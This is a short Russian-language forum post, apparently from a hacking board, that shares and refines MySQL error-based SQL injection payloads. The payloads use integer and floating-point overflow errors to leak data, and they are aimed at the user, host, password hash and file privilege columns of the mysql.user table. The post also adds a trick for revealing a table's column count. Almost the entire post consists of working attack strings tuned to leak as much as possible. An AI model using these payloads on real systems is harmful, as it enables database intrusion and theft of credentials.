Показать сообщение отдельно
Старый 22.06.2014, 11:24   #5
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Отлично.Только фишка этого запроса:
Цитата:
SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
в том, что он выдает максимальное кол-во символов (475). Улучшить уже нельзя (наверное).

Чем меньше символов в начале и чем больше в конце, тем лучше:
Цитата:
select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2);
=>
select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit 1),1e308,0);
Бонус немного не из той степи:
Код:
mysql> select (select * from mysql.user)=1;
mysql> select (select * from mysql.user)in(1);

ERROR 1241 (21000): Operand should contain 42 column(s)

Последний раз редактировалось NameSpace; 22.06.2014 в 11:40..
NameSpace вне форума   Ответить с цитированием